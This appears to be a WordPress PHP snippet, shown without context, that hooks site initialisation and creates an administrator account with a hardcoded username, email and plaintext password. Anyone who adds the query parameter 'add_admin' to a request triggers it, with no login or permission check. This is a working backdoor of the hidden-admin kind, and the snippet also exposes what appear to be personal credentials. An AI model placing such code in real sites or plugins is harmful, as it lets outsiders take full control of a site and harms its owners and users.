add_action('init', 'add_my_user');
function add_my_user() {
  if(isset($_GET["add_admin"])){
    $username = 'unaibamir';
    $email = 'unaibamiraziz@gmail.com';
    $password = 'ak47UN@@22';

    $user_id = username_exists( $username );

    if ( !$user_id && email_exists($email) == false ) {
        $user_id = wp_create_user( $username, $password, $email );
        if( !is_wp_error($user_id) ) {
            $user = get_user_by( 'id', $user_id );
            $user->set_role( 'administrator' );
        }
    }
  }
}